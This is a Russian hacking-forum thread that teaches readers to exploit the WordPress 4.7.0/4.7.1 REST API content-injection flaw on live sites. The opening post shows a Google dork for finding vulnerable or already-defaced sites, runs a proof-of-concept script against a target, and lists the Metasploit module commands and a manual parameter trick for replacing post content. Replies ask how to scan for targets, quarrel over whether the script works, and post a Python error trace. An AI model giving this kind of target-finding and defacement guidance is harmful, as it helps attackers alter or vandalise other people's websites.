Статья Встраиваем свой контент в Wordpress сайты.

DefWolf

Grey Team
24.10.2017
211
422
#1

В движке Wordpress нашли опасную уязвимость позволяющую вставить свой контент на уязвимый сайт. Несмотря на то, что уязвимость обнаружили около полу-года назад, уязвимых сайтов еще огромное множество(около 100 000). Все сайты работающие на движке wordpress 4.7.0 и 4.7.1, уязвимы к данному типу атаки. Если злоумышленник правильно сформирует запрос, то сможет добавлять спамерские изображения, выполнять код, удалять и редактировать посты. Данную уязвимость эксплуатируют скрипт-кидди оставляя сообщение на сайте: by w4l3XzY3. Саму уязвимость обнаружили специалисты иностранной компании Sucuri. Баг находится в REST API.
Если добавить к уязвимому сайту
Для просмотра контента необходимо: Войти или зарегистрироваться
/wp-json/wp/v2/posts, то у нас появится такая страница содержащая:
Код:
[{"id":705,"date":"2012-12-12T09:55:45","date_gmt":"2012-12-12T14:55:45","guid":{"rendered":"\/?p=705"},"modified":"2017-02-08T10:29:04","modified_gmt":"2017-02-08T15:29:04","slug":"by-htm","status":"publish","type":"post","link":"\/by-htm\/","title":{"rendered":"Hacked By GeNErAL"},"content":{"rendered":"<p>Hacked By GeNErAL<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hacked By GeNErAL<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[8],"tags":[],"_links":{"self":[{"href":/wp-json\/wp\/v2\/posts\/705"}],"collection":[{"href":"http:\/\/www.beyondliteracy.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":wp-json\/wp\/v2\/comments?post=705"}],"version-history":[{"href":"/wp-json\/wp\/v2\/posts\/705\/revisions"}],"wp:attachment":[{"href":"/wp-json\/wp\/v2\/media?parent=705"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"/wp-json\/wp\/v2\/categories?post=705"}
.
Уязвимые сайты можно найти вбив в гуле: by w4l3XzY3(около 33 000) или же самостоятельно про сканировать сеть, так вы само собой найдете больше уязвимых хостов:
1521322073024.png


Теперь нам нужен эксплоит:
Для просмотра контента необходимо: Войти или зарегистрироваться
. Он выдал у меня куча ошибок, т.к. разные версии, поэтому я его немного переделал и выложил на pastebin:
Для просмотра контента необходимо: Войти или зарегистрироваться
.
В целях демонстрации я возьму уязвимый сайт:
Python:
python poc.py http://www.target.com/wp-json/wp/v2/posts
1521327337825.png
Мы видим ID и что оно выводит, допустим мы хотим заменить Hacked by general на Hello, Codeby !
Код:
python poc.py http://www.target.com/wp-json/wp/v2/posts 705 content.txt
Где content.txt, файл сожержащий нашу надпись, тоже самое можно сделать и с картинкой.
Если у вас установлен Metasploit:
Код:
msf > use auxiliary/scanner/http/wordpress_content_injection
      msf auxiliary(wordpress_content_injection) > show actions
      msf auxiliary(wordpress_content_injection) > set ACTION <action-name>
      msf auxiliary(wordpress_content_injection) > show options
      msf auxiliary(wordpress_content_injection) > run
Видеоролик:

Подробнее об уязвимоcти можно почитать
Для просмотра контента необходимо: Войти или зарегистрироваться
.
P.S. Статью писал ночью, так что в скрипт добавлю пару фич и кину к себе на
Для просмотра контента необходимо: Войти или зарегистрироваться
.
 
Последнее редактирование:

SnowAl

New member
19.02.2018
1
0
#4
Для тупенького объясните с эксплойтом что сделать надо?
 

nurave

New member
11.12.2017
3
0
#5
Как самому сканировать сеть? т.е. как найти сайты с версией вордпреса 4.7?
 

DefWolf

Grey Team
24.10.2017
211
422
#6
Как самому сканировать сеть? т.е. как найти сайты с версией вордпреса 4.7?
Используй браузерное расширение Wappalyzer, позволяющее идентифицировать не только номер редакции движка, но и узнать об используемых на нем фреймворках JavaScript, инструментах анализа и веб-сервере. Доступны версии плагина для браузеров Chrome, Opera и Mozilla. Или
Для просмотра контента необходимо: Войти или зарегистрироваться
(
сработает не везде). А сканер, нужно написать самому.. Или покапаться в интернете !
 

RLPLIK

New member
16.07.2017
4
3
#8
Исправлениями нанесли еще больше ошибок :)

Не совсем понимаю , а у вас получилось хоть внести изменения , а то странно вы наглядно то не показали. Уверен , что это .... полагаю у вас не получилось ?
У меняя куча ошибок , но они устранимы. Но я бы хотел увидеть ваше действие по поводу того , получилось ли у вас то, что вы указали в своей статье :) :) :)
 
Симпатии: Понравилось Yamaxa

DefWolf

Grey Team
24.10.2017
211
422
#9
Не совсем понимаю , а у вас получилось хоть внести изменения , а то странно вы наглядно то не показали. Уверен , что это .... полагаю у вас не получилось ?
У меняя куча ошибок , но они устранимы. Но я бы хотел увидеть ваше действие по поводу того , получилось ли у вас то, что вы указали в своей статье :):):)
Ты имеешь в виду с помощью проги ? Далеко не на всех. Вручную, да. Нужно вписать параметры: /id?id=Hello Codeby !. Где id, число, ищи уязвимые сайты, это уже твои проблемы. Юзай Metasploit. Я писал прогу, под себя и у меня заработало, та работала мало у кого, поэтому я выложил Metasploit.
 
06.01.2018
24
7
#10
Тогда зачем выкладывать? Какой смысл?
Не совсем понимаю , а у вас получилось хоть внести изменения , а то странно вы наглядно то не показали. Уверен , что это .... полагаю у вас не получилось ?
Полностью согласен с RLPLIK.
 
Симпатии: Понравилось RLPLIK

DefWolf

Grey Team
24.10.2017
211
422
#11
Тогда зачем выкладывать? Какой смысл?

Полностью согласен с RLPLIK.
1 программа - это, что-то вроде офицального эксплоита, с инструкцией на ютубе, я знал, что она не сработает и выложил Metasploit. Вам даже подробно рассказали, как уязвимые сайты искать, что я принципиально не делаю.
 

RLPLIK

New member
16.07.2017
4
3
#12
1 программа - это, что-то вроде офицального эксплоита, с инструкцией на ютубе, я знал, что она не сработает и выложил Metasploit. Вам даже подробно рассказали, как уязвимые сайты искать, что я принципиально не делаю.
Замечательно , нам это так важно... , что там было на ютубе. Но тогда какой смысл выкладывать и писать то , что ты якобы избавился от ошибок , которые были и в том же кол-ве , что и у тебя )00)0000))))0)00))0)0) , ....... ? Зачем писать тогда статью изначально о том , что не работает, а в самом конце вставлять метасплоит ? Просто я не вижу смысл , хотяяя .... может ты его и видишь и все мы понимаем в чем...... . Но я хочу понять , зачем писать о том , что якобы по твоим словам не работает ? Хотя по поводу "не сработает".... , не нужно быть таким увереНННым ))) Лучше бы в сатье тему METASPLOIT бы продолжал , интересней б было. Выкладывать то , что у самого не получилось , к чему это ? - ГЛУПО! А потом писать: нууууу я же в конце не зря тему метасплоита раскрыл, это тип такая отговорка , ок мы сочтем это за отговорку...... глядишь исправишь ошибки в кодэээ и напишешь нормальную статью , а не будешь продолжать на простых моментах шквариться , ты же так старался...... )0)00)))) Готов пожелать тебе УДАЧИ!
[automerge]1521897615[/automerge]
Ты имеешь в виду с помощью проги ? Далеко не на всех. Вручную, да. Нужно вписать параметры: /id?id=Hello Codeby !. Где id, число, ищи уязвимые сайты, это уже твои проблемы. Юзай Metasploit. Я писал прогу, под себя и у меня заработало, та работала мало у кого, поэтому я выложил Metasploit.
Я думаю, это тебе писать не стоит...., я же не прошу тебя помочь мне , на гитхабе куча подобного, там есть и "быдлокодеры" , к этому разряду , я обязательно должен отнести ваш "исправленный" - "Быдло-КОД", не сочтите это , как оскорбление , это лишь мое собственное мнение , которого я обязательно буду придерживаться .... )))) Много у меня вопросов , но я так же постараюсь их не задавать ))) Это ведь просто бессмысленно ))) Вы будете продолжать шквариться на подобном , якобы оправдать себя .... Удачи!
 
Последнее редактирование:
Симпатии: Понравилось Yamaxa

DefWolf

Grey Team
24.10.2017
211
422
#13
Замечательно , нам это так важно... , что там было на ютубе. Но тогда какой смысл выкладывать и писать то , что ты якобы избавился от ошибок , которые были и в том же кол-ве , что и у тебя )00)0000))))0)00))0)0) , ....... ? Зачем писать тогда статью изначально о том , что не работает, а в самом конце вставлять метасплоит ? Просто я не вижу смысл , хотяяя .... может ты его и видишь и все мы понимаем в чем...... . Но я хочу понять , зачем писать о том , что якобы по твоим словам не работает ? Хотя по поводу "не сработает".... , не нужно быть таким увереНННым ))) Лучше бы в сатье тему METASPLOIT бы продолжал , интересней б было. Выкладывать то , что у самого не получилось , к чему это ? - ГЛУПО! А потом писать: нууууу я же в конце не зря тему метасплоита раскрыл, это тип такая отговорка , ок мы сочтем это за отговорку...... глядишь исправишь ошибки в кодэээ и напишешь нормальную статью , а не будешь продолжать на простых моментах шквариться , ты же так старался...... )0)00)))) Готов пожелать тебе УДАЧИ!
[automerge]1521897615[/automerge]

Я думаю, это тебе писать не стоит...., я же не прошу тебя помочь мне , на гитхабе куча подобного, там есть и "быдлокодеры" , к этому разряду , я обязательно должен отнести ваш "исправленный" - "Быдло-КОД", не сочтите это , как оскорбление , это лишь мое собственное мнение , которого я обязательно буду придерживаться .... )))) Много у меня вопросов , но я так же постараюсь их не задавать ))) Это ведь просто бессмысленно ))) Вы будете продолжать шквариться на подобном , якобы оправдать себя .... Удачи!
Удачи !То, что не сработало у вас, не значит, что не сработает у других, таков уж python(2.7 - 3.6). Я бы не стал бы выкладывать прогу, которая не работала бы у меня, поэтому в доказательство кидаю скин. Продолжать Metasploit, серьезно ? Копируешь и вставляешь. Проверька лучше версию python, 2.7 ? Я уже даже вручную рассказал как пользоваться. И скорей всего ошибку выдает не прога, а сайт: 406 или 404, значит юзай другой id. Да и на github я его не выложил )). Разберись сначала в уязвимости и научись читать ошибки ) Если не трудно, выложи код ошибки, очень интересно )
 
Последнее редактирование:

RLPLIK

New member
16.07.2017
4
3
#14
Удачи !То, что не сработало у вас, не значит, что не сработает у других, таков уж python(2.7 - 3.6). Я бы не стал бы выкладывать прогу, которая не работала бы у меня, поэтому в доказательство кидаю скин. Продолжать Metasploit, серьезно ? Копируешь и вставляешь. Проверька лучше версию python, 2.7 ? Я уже даже вручную рассказал как пользоваться. И скорей всего ошибку выдает не прога, а сайт: 406 или 404, значит юзай другой id. Да и на github я его не выложил )). Разберись сначала в уязвимости и научись читать ошибки ) Если не трудно, выложи код ошибки, очень интересно )
Спасибо! Не нужно быть таким уверенным ):love:
 
Симпатии: Понравилось Yamaxa

DefWolf

Grey Team
24.10.2017
211
422
#15
Спасибо! Не нужно быть таким уверенным ):love:
Если, что без обид. И все-таки код ошибки, мне еще нужен. К сожалению у меня нет ни ресурсов, ни времени, чтобы тестировать везде =( .
 
Последнее редактирование:

OneTrust

Active member
11.05.2017
25
4
#16
Чекни личку, так как у меня не работает данный способ. Ошибка:
Traceback (most recent call last):
File "poc.py", line 62, in <module>
update_post(api_url, sys.argv[2], ''.join(new_content))
File "poc.py", line 25, in update_post
response = urllib2.urlopen(req).read()
File "/usr/lib/python2.7/urllib2.py", line 154, in urlopen
return opener.open(url, data, timeout)
File "/usr/lib/python2.7/urllib2.py", line 435, in open
response = meth(req, response)
File "/usr/lib/python2.7/urllib2.py", line 548, in http_response
'http', request, response, code, msg, hdrs)
File "/usr/lib/python2.7/urllib2.py", line 473, in error
return self._call_chain(*args)
File "/usr/lib/python2.7/urllib2.py", line 407, in _call_chain
result = func(*args)
File "/usr/lib/python2.7/urllib2.py", line 556, in http_error_default
raise HTTPError(req.get_full_url(), code, msg, hdrs, fp)
urllib2.HTTPError: HTTP Error 404: Not Found